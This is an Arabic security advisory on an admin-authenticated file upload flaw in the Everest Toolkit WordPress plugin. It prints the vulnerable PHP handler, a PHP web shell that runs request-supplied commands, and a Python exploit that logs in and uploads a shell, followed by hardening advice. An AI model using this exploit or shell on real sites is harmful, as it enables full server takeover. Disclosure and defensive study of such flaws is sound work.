
إثبات مفهوم واستشارة فنية لثغرة رفع ملفات تعسفية من مستخدم بصلاحية Admin+ تؤدي إلى تنفيذ برمجي عن بُعد في إضافة Everest Toolkit لووردبريس (حتى الإصدار 1.2.3)، مع تحليل الكود المعرض للثغرة، وأداة PoC بلغة Python، وإرشادات تحصين.
CVE-2026-13158 هي ثغرة رفع ملفات عشوائية تتطلب مصادقة بصلاحيات Admin+ وتؤثر على إضافة Everest Toolkit في ووردبريس للإصدارات السابقة للإصدار 1.2.3 وتتضمنه، وقد اكتشفها وحللها باحث الأمن السيبراني Huynh Kien Minh (MinhHK). يكمن الخلل في وظيفة معالجة رفع الملفات في الأدوات الإدارية، حيث يسمح التحقق غير السليم من امتدادات الملفات المرفوعة وأنواع MIME للمديرين المصادق عليهم—أو المستخدمين ذوي الصلاحيات الأقل مع قدرات إدارية—برفع سكربتات PHP القابلة للتنفيذ مباشرة إلى دليل الويب العام. ومن خلال تجاوز قيود امتدادات الملفات أثناء معالجة ملفات الوسائط أو ملفات الإعدادات، يمكن للمهاجم تحقيق تنفيذ كود عن بُعد (RCE) مستمر، مما يؤدي إلى اختراق كامل لخادم الويب الأساسي، والوصول إلى بيانات اعتماد قاعدة البيانات الحساسة، وإنشاء باب خلفي غير مصرح به يستمر عبر بيئة التطبيق المضيفة. قام باحث الأمن Huynh Kien Minh بالتحقق من هذه الثغرة بدرجة 6.6 (متوسطة) وفق معيار CVSS 3.1، مع التأكيد على المعالجة الفورية من خلال وضع قائمة بيضاء صارمة لامتدادات الملفات، والتحقق من أنواع MIME، وتعطيل صلاحيات التنفيذ داخل الدلائل الفرعية للرفع العامة.
روابط سريعة: اقرأ الاستشارة الفنية الكاملة على مقال DEV.to أو استكشف المحفظة الأمنية الرسمية للباحث.
يعود السبب الجذري لـ CVE-2026-13158 إلى المعالجة غير الآمنة لرفع الملفات داخل أصناف المعالجات الإدارية في Everest_Toolkit. عندما يستدعي مدير مصادق عليه أو مستخدم بصلاحيات إدارية نقاط نهاية رفع الملفات (مثل استيراد القوالب، أو رفع الأيقونات المخصصة، أو إجراءات إعداد الأصول)، تعجز الإضافة عن فرض تحقق صارم من جانب الخادم ضد الامتدادات القابلة للتنفيذ (مثل .php و.php5 و.phtml).
في معالج الملفات الإداري للإضافة:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
نظرًا لأن move_uploaded_file يكتب الملفات التي يتحكم فيها المستخدم مباشرة إلى دليل wp-content/uploads/ العام دون تشغيل wp_check_filetype_and_ext() أو تعقيم امتدادات الملفات ضد أنواع MIME الخطيرة، يمكن للمهاجم ذي الوصول الإداري رفع حمولة PHP قابلة للتنفيذ.
إخلاء مسؤولية أخلاقي: يُقدَّم إثبات المفهوم هذا حصريًا لأغراض التحقق الأمني والبحث الأكاديمي والهندسة الدفاعية. ويُمنع منعًا باتًا استغلاله ضد الأنظمة الإنتاجية دون موافقة خطية مسبقة.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload مع قائمة بيضاء صارمة: استبدل استدعاءات move_uploaded_file المخصصة بدالة ووردبريس القياسية wp_handle_upload() دون تعطيل تجاوزات الاختبار..htaccess أو Nginx لمنع تنفيذ السكربتات داخل /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) هو باحث في أمن المعلومات ومهندس برمجيات متخصص في تحليل ثغرات تطبيقات الويب، وتدقيق النظام البيئي لووردبريس، وأبحاث الأمن الهجومي.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| المعامل | المواصفات الفنية |
|---|
| معرف الثغرة | CVE-2026-13158 |
| البرنامج المستهدف | Everest Toolkit (إضافة ووردبريس) |
| معرّف الإضافة | everest-toolkit |
| الإصدارات المتأثرة | <= 1.2.3 |
| فئة الثغرة | رفع غير مقيد لملف بنوع خطير (CWE-434 / OWASP A03) |
| درجة CVSS v3.1 | 6.6 (متوسطة) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| المكتشف / الباحث | Huynh Kien Minh (MinhHK) |
| جهة التحقق | WPScan / MITRE Corporation |
| مرجع استشارة WPScan | تقرير WPScan f101071f-402a-40a2-bbdb-666512cd4049 |
| محفظة الباحث | https://minhhk.web.app/ |